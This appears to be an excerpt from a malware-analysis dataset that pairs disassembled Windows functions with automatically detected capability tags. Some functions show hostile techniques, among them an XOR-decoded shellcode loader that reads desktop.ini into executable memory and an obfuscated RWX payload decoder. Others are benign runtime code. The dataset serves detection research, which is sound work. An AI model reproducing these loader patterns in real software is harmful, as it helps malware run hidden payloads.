joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401870
Capabilities:
Create thread
Link many functions at runtime
Resolve dns

Disassembly:
mov eax, dword [0x405564]
sub esp, 0x10
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.socket
mov ebx, ecx
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
mov ebp, eax
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 6
push 1
push 2
call ebp
cmp eax, 0xffffffff
mov dword [ebx + 8], eax
jne 0x4018f8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10
ret 8
mov ecx, dword [0x405564]
push str.htons
push ecx
call edi
mov edx, dword [esp + 0x24]
mov esi, eax
push edx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ebp, eax
mov eax, dword [esp + 0x28]
push eax
mov word [esp + 0x14], 2
call esi
mov word [esp + 0x12], ax
mov ecx, dword [ebp + 0xc]
push str.connect
mov edx, dword [ecx]
mov ecx, dword [0x405564]
push ecx
mov eax, dword [edx]
mov dword [esp + 0x1c], eax
call edi
mov ecx, dword [ebx + 8]
lea edx, [esp + 0x10]
push 0x10
push edx
push ecx
call eax
cmp eax, 0xffffffff
jne 0x40198d
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.ResetEvent
push str.KERNEL32.dll
call esi
push eax
call edi
mov edx, dword [ebx + 0xc]
push edx
call eax
push str.WaitForSingleObject
push str.KERNEL32.dll
call esi
push eax
call edi
mov ecx, dword [ebx + 0xc]
push 0x3e8
push ecx
call eax
jmp 0x4018f8
push 0
push 0
push ebx
push 0x4019b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x10
ret 8

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x6e04af30
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x6e04af8b
cmp byte [esi + ebx - 1], 0xa
je 0x6e04af5f
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x6e05b0c4], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_fwrite]
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
Function at 0x10010e10
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xdc
mov eax, dword [0x10044880]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 0xd8]
push esi
push edi
mov edi, dword [ebp + 8]
push eax
push edi
mov dword [ebp - 0xdc], ebx
call fcn.10010290
mov esi, eax
test esi, esi
je 0x10010e73
mov ecx, dword [ebp - 0xd8]
sub esi, edi
mov edx, dword [ebp - 0xd4]
mov al, 3
mov dword [ebx], ecx
mov dword [ebx + 4], edx
mov byte [ebx + 8], al
lea eax, [esi + 1]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10034da8
mov esp, ebp
pop ebp
ret 8
push 0x10038398
push edi
call fcn.10029a50
add esp, 8
test eax, eax
je 0x10010ea5
movzx ebx, byte [eax]
or ebx, 0x20
cmp ebx, 0x6e
jne 0x10010ea7
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10034da8
mov esp, ebp
pop ebp
ret 8
xor ebx, ebx
push ebx
lea eax, [ebp - 0xd8]
push eax
push edi
call fcn.10010220
mov esi, eax
test esi, esi
jne 0x10010f41
push 0x2e
push edi
call fcn.100224c0
mov esi, eax
add esp, 8
test esi, esi
je 0x10010e90
mov ecx, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10010ed5
sub ecx, edx
cmp ecx, 0xc8
ja 0x10010e90
lea edx, [ebp - 0xd0]
mov ecx, edi
sub edx, edi
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x10010ef0
call fcn.100266dd
sub esi, edi
push ebx
mov eax, dword [eax]
mov al, byte [eax]
mov byte [ebp + esi - 0xd0], al
lea eax, [ebp - 0xd8]
push eax
lea eax, [ebp - 0xd0]
push eax
call fcn.10010220
mov esi, eax
test esi, esi
je 0x10010e90
mov eax, edi
lea ecx, [ebp - 0xd0]
sub eax, ecx
add esi, eax
test esi, esi
je 0x10010e90
mov ebx, dword [ebp - 0xdc]
sub esi, edi
movsd xmm0, qword [ebp - 0xd8]
mov al, 0x13
mov ecx, dword [ebp - 4]
pop edi
movsd qword [ebx], xmm0
xor ecx, ebp
mov byte [ebx + 8], al
lea eax, [esi + 1]
pop esi
pop ebx
call fcn.10034da8
mov esp, ebp
pop ebp
ret 8
Function at 0x10011020
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push edi
call fcn.100266dd
mov ecx, dword [ebp + 8]
xor edi, edi
xor esi, esi
xorps xmm1, xmm1
mov eax, dword [eax]
movsx eax, byte [eax]
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0xc]
mov dword [eax], ecx
mov al, byte [ecx]
mov byte [ebp - 1], al
movzx eax, al
test byte [eax + 0x10037ba1], 8
je 0x10011073
nop dword [eax]
mov al, byte [ecx + 1]
inc ecx
mov byte [ebp - 1], al
movzx eax, al
test byte [eax + 0x10037ba1], 8
jne 0x10011060
mov al, byte [ebp - 1]
lea edx, [ecx + 1]
cmp al, 0x2d
jne 0x10011086
mov dword [ebp - 0x14], 1
jmp 0x1001108e
cmp al, 0x2b
mov dword [ebp - 0x14], esi
cmovne edx, ecx
cmp byte [edx], 0x30
jne 0x100111c7
mov al, byte [edx + 1]
cmp al, 0x78
je 0x100110a6
cmp al, 0x58
jne 0x100111c7
movsd xmm2, qword [0x10038418]
add edx, 2
mov al, byte [edx]
movsx ecx, al
mov dword [ebp - 0x10], edx
mov byte [ebp - 1], al
cmp ecx, dword [ebp - 0x18]
jne 0x100110d1
cmp dword [ebp - 8], 0
jne 0x10011123
mov dword [ebp - 8], 1
inc edx
jmp 0x100110b1
movzx eax, al
test byte [eax + 0x10037ba1], 0x10
je 0x10011123
test edi, edi
jne 0x100110ec
cmp byte [ebp - 1], 0x30
jne 0x100110ec
inc dword [ebp - 0xc]
jmp 0x10011119
inc edi
cmp edi, 0x1e
jg 0x10011118
test byte [ecx + 0x10037ba1], 2
je 0x10011100
add ecx, 0xffffffd0
jmp 0x10011106
or ecx, 0x20
sub ecx, 0x57
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm2
addsd xmm1, xmm0
jmp 0x10011119
inc esi
cmp dword [ebp - 8], 0
je 0x10011120
dec esi
inc edx
jmp 0x100110b1
mov eax, dword [ebp - 0xc]
add eax, edi
je 0x100111c7
mov eax, dword [ebp + 0xc]
shl esi, 2
mov dword [eax], edx
mov al, byte [edx]
cmp al, 0x70
je 0x10011140
cmp al, 0x50
jne 0x100111a1
mov al, byte [edx + 1]
inc edx
xor ecx, ecx
cmp al, 0x2d
jne 0x10011155
mov edx, dword [ebp - 0x10]
lea edi, [ecx + 1]
add edx, 2
jmp 0x10011161
cmp al, 0x2b
jne 0x1001115f
mov edx, dword [ebp - 0x10]
add edx, 2
xor edi, edi
mov al, byte [edx]
mov byte [ebp - 1], al
movzx eax, al
test byte [eax + 0x10037ba1], 2
je 0x100111c7
movsx eax, byte [ebp - 1]
lea ecx, [ecx + ecx*4]
inc edx
lea ecx, [ecx - 0x18]
lea ecx, [eax + ecx*2]
mov al, byte [edx]
mov byte [ebp - 1], al
movzx eax, al
test byte [eax + 0x10037ba1], 2
jne 0x10011172
mov eax, ecx
neg eax
test edi, edi
cmove eax, ecx
add esi, eax
mov eax, dword [ebp + 0xc]
mov dword [eax], edx
cmp dword [ebp - 0x14], 0
je 0x100111ae
xorps xmm1, xmmword [0x10038420]
push esi
sub esp, 8
movsd qword [esp], xmm1
call fcn.100264a6
add esp, 0xc
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
fldz
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x10015340
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 8]
cmp byte [edi + 6], 0
jne 0x1001538c
mov edx, dword [edi + 8]
push esi
mov esi, dword [edi + 0xc]
xor edx, esi
test esi, esi
je 0x1001537d
push ebx
lea ebx, [edi + 0xf]
add ebx, esi
mov ecx, edx
lea ebx, [ebx - 1]
mov eax, edx
shl ecx, 5
shr eax, 2
add ecx, eax
movzx eax, byte [ebx + 1]
add ecx, eax
xor edx, ecx
sub esi, 1
jne 0x10015360
pop ebx
pop esi
mov dword [edi + 8], edx
mov eax, edx
mov byte [edi + 6], 1
pop edi
pop ebp
ret 4
mov eax, dword [edi + 8]
pop edi
pop ebp
ret 4

Function at 0x100230ec
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10039d88
push 0x10039d80
push 0x10039d88
push 0x21
call fcn.10022fca
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10023123
push dword [ebp + 8]
mov ecx, esi
call dword [0x10037128]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1002312b
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10039d9c
push 0x10039d94
push 0x10039d9c
push 0x22
call fcn.10022fca
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10023165
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10037128]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1002e4da
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1002e519
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1002e519
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1002e519
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1002e519
cmp dword [ecx + 0x74], 0xe
jbe 0x1002e519
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x10035060
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1003508d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1003508d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x1000e9b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x1000e9bf
pop dword [ebp - 0x40]
mov eax, 0x3e7db1db
sub eax, 0x2e7cc81c
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0xdc9b7e8
add dword [ebp - 0x50], 0x40888d63
mov dword [ebp - 0x4c], 0x932bd86
add dword [ebp - 0x4c], 0x29008ebf
mov dword [ebp - 0x48], 0xf9b430ae
sub dword [ebp - 0x48], 0xad67ec80
mov dword [ebp - 0x44], 0x1fe8d0c
sub dword [ebp - 0x44], 0x1fe8d0c
lea eax, [ebp - 0x50]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0xb252b302
add dword [ebp - 0x50], 0xc21fb654
mov dword [ebp - 0x4c], 0xb6bc79c5
add dword [ebp - 0x4c], 0x8aafe7b0
mov dword [ebp - 0x48], 0x943ce860
sub dword [ebp - 0x48], 0x30cd7bf4
mov dword [ebp - 0x44], 0xcf6cd336
sub dword [ebp - 0x44], 0xcf6cd336
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0x5a56ecb1
add eax, 0xb5aaa387
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x369c1
push 0
call eax
mov ecx, 0xb3e53ca9
add ecx, 0x4c1b0b8a
xor edx, edx
add edx, eax
mov ebx, 0x10022800
add ebx, dword [ebp - 0x40]
mov edi, 0x4bc9ce57
add dword [ebp - 4], edx
mov esi, dword [ebx]
sub dword [ebp - 0x14], ecx
sub esi, edi
add dword [ebp - 8], esi
mov dword [edx], esi
xor dword [ebp - 0x18], 0x3633f76a
add edx, 4
add ebx, 4
loop 0x1000ead2
add eax, 0x1139f
mov ebx, eax
add eax, 0x25586775
sub eax, 0x25586770
mov ecx, 0x41935b3f
add ecx, 0xce6ca4c1
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x10014d90
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x1001f83c]
push dword [esp + 4]
mov eax, dword [eax]
push eax
mov ecx, dword [eax]
mov eax, dword [ecx + 0x234]
call eax
test eax, eax
je 0x10014dd2
push 0x51b
push str.hprof_util.c
push str.Unable_to_get_necessary_JVMTI_capabilities.
push 0
push 0
call fcn.10005090
add esp, 0x14
mov dword [esp + 4], 1
jmp fcn.10005080
ret

Function at 0x10016400
Capabilities:
Terminate process

Disassembly:
mov edx, dword [esp + 4]
xorps xmm0, xmm0
push edx
movups xmmword [edx], xmm0
mov eax, dword [0x1001f83c]
mov eax, dword [eax]
push eax
mov ecx, dword [eax]
mov eax, dword [ecx + 0x22c]
call eax
test eax, eax
je 0x10016449
push 0x50e
push str.hprof_util.c
push str.Unable_to_get_potential_JVMTI_capabilities.
push 0
push 0
call fcn.10005090
add esp, 0x14
mov dword [esp + 4], 1
jmp fcn.10005080
ret
Function at 0x405ef4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422a34], 0
push esi
jne 0x405f2b
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405f05
mov dword [ecx*4 + 0x422a30], eax
inc ecx
cmp ecx, 0x100
jl 0x405f00
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405f5c
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422a30]
xor eax, esi
inc ecx
dec edx
jne 0x405f3e
pop edi
not eax
pop esi
ret 0xc

Function at 0x401290
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
and eax, 0xffff
push 0x403050
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x40131d
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x40131d
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x14]
push 0
push 0x80
push 2
mov edi, eax
mov eax, dword [ecx]
push 0
push 0
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
test esi, esi
je 0x40131d
cmp esi, 0xffffffff
je 0x40131d
lea edx, [esp + 0x10]
push 0
push edx
push edi
push ebx
push esi
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
ret 8
pop edi
pop esi
xor eax, eax
pop ebx
ret 8
Function at 0x4010c0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4089f3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
mov eax, dword [esp + 0x34]
push esi
push eax
lea ecx, [esp + 0xc]
mov dword [esp + 8], 0
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
mov ecx, dword [esp + 0x3c]
push ecx
mov ecx, eax
mov dword [esp + 0x30], 1
call dword [0x4093c4]
mov esi, dword [esp + 0x34]
push eax
mov ecx, esi
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [esp + 8]
mov dword [esp + 4], 1
mov byte [esp + 0x2c], 0
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov ecx, dword [esp + 0x24]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x2c
ret

Function at 0x401140
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4089f3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
mov eax, dword [esp + 0x34]
push esi
push eax
lea ecx, [esp + 0xc]
mov dword [esp + 8], 0
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
mov ecx, dword [esp + 0x3c]
push ecx
mov ecx, eax
mov dword [esp + 0x30], 1
call dword [0x4093c4]
mov esi, dword [esp + 0x34]
push eax
mov ecx, esi
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [esp + 8]
mov dword [esp + 4], 1
mov byte [esp + 0x2c], 0
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov ecx, dword [esp + 0x24]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x2c
ret
Function at 0x4011c0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4089f3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
mov eax, dword [esp + 0x34]
push esi
push eax
lea ecx, [esp + 0xc]
mov dword [esp + 8], 0
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
mov ecx, dword [esp + 0x3c]
push ecx
mov ecx, eax
mov dword [esp + 0x30], 1
call dword [0x4093b8]
mov esi, dword [esp + 0x34]
push eax
mov ecx, esi
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [esp + 8]
mov dword [esp + 4], 1
mov byte [esp + 0x2c], 0
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov ecx, dword [esp + 0x24]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x2c
ret

Function at 0x401360
Capabilities:
Hash data with md5

Disassembly:
xor eax, eax
mov dword [ecx + 8], eax
mov dword [ecx + 4], eax
mov dword [ecx + 0xc], 0x67452301
mov dword [ecx + 0x10], 0xefcdab89
mov dword [ecx + 0x14], 0x98badcfe
mov dword [ecx + 0x18], 0x10325476
ret
Function at 0x405ac0
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
sub esp, 0x11c
mov eax, dword [0x40c080]
xor eax, esp
push ebp
push esi
push edi
mov edi, dword [esp + 0x12c]
mov ebp, ecx
lea ecx, [esp + 0x14]
push ecx
push 0x2001f
push 0
mov dword [esp + 0x130], eax
mov eax, dword [ebp]
push edi
push eax
mov dword [esp + 0x2c], edi
mov dword [esp + 0x20], 0
mov dword [esp + 0x28], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x405bc2
lea ecx, [esp + 0xc]
call fcn.004059a0
mov esi, eax
test esi, esi
mov eax, dword [esp + 0x14]
mov dword [esp + 0xc], eax
jne 0x405bc6
lea edx, [esp + 0x1c]
push edx
push esi
push esi
push esi
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x38]
push edx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
push eax
mov dword [esp + 0x30], 0x100
call esi
test eax, eax
jne 0x405b9e
jmp 0x405b60
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x10]
call fcn.00405ac0
mov edi, eax
test edi, edi
jne 0x405bed
lea ecx, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x10]
push eax
push eax
push eax
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x38]
push eax
push edi
push ecx
mov dword [esp + 0x30], 0x100
call esi
test eax, eax
je 0x405b60
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0xc]
test eax, eax
je 0x405bb5
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0xc], 0
mov edx, dword [ebp]
push edi
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, eax
mov eax, dword [esp + 0xc]
test eax, eax
je 0x405bd1
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
mov ecx, dword [esp + 0x124]
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.00408391
add esp, 0x11c
ret 4
mov eax, dword [esp + 0xc]
test eax, eax
je 0x405bfc
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
jmp 0x405bd3
Function at 0x406110
Capabilities:
Set registry value

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebp
push esi
mov esi, dword [esp + 0x14]
push edi
mov ebp, ecx
xor edi, edi
push esi
call ebx
inc eax
add esi, eax
add edi, eax
cmp eax, 1
jne 0x406122
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
mov edx, dword [ebp]
push edi
push eax
push 7
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
pop ebp
pop ebx
ret 8

Function at 0x406bd0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x408e68
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebp
mov ebp, dword [esp + 0x5c]
test ebp, ebp
je 0x406d02
lea ecx, [esp + 8]
call sub.MFC71.DLL_CDC::CDC
mov eax, dword [esp + 0x58]
test eax, eax
mov dword [esp + 0x50], 0
je 0x406c11
mov eax, dword [eax + 4]
push ebx
push esi
push edi
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push eax
lea ecx, [esp + 0x18]
call sub.MFC71.DLL_CDC::Attach
mov eax, dword [esp + 0x18]
push ebp
push eax
call dword [sym.imp.GDI32.dll_SelectObject]
mov ecx, dword [esp + 0x6c]
mov ebx, dword [esp + 0x74]
mov esi, dword [esp + 0x78]
mov edi, dword [esp + 0x70]
sub ebx, ecx
lea ecx, [esp + 0x3c]
push ecx
push 0x18
sub esi, edi
push ebp
mov dword [esp + 0x1c], esi
call dword [sym.imp.GDI32.dll_GetObjectA]
lea edx, [esp + 0x24]
push edx
push 0x18
push ebp
call dword [sym.imp.GDI32.dll_GetObjectA]
cmp edi, esi
mov ebp, dword [esp + 0x2c]
mov eax, edi
mov dword [esp + 0x68], eax
jge 0x406ce3
jmp 0x406c80
mov esi, dword [esp + 0x10]
lea esp, [esp]
lea ecx, [eax + ebp]
cmp ecx, esi
jle 0x406c8b
mov ebp, esi
sub ebp, eax
mov esi, dword [esp + 0x6c]
mov edi, dword [esp + 0x40]
mov ecx, esi
cmp ecx, ebx
jge 0x406cd5
lea esp, [esp]
lea edx, [esi + edi]
cmp edx, ebx
jle 0x406cab
mov edi, ebx
sub edi, esi
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x64]
push 0xcc0020
push 0
push 0
push ecx
push ebp
push edi
push eax
mov eax, dword [edx + 4]
push esi
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
mov eax, dword [esp + 0x68]
add esi, edi
cmp esi, ebx
jl 0x406ca0
mov ecx, dword [esp + 0x10]
add eax, ebp
cmp eax, ecx
mov dword [esp + 0x68], eax
jl 0x406c75
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.GDI32.dll_DeleteDC]
lea ecx, [esp + 0x14]
mov dword [esp + 0x5c], 0xffffffff
call fcn.00408294
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x48]
pop ebp
mov dword fs:[0], ecx
add esp, 0x50
ret 0x18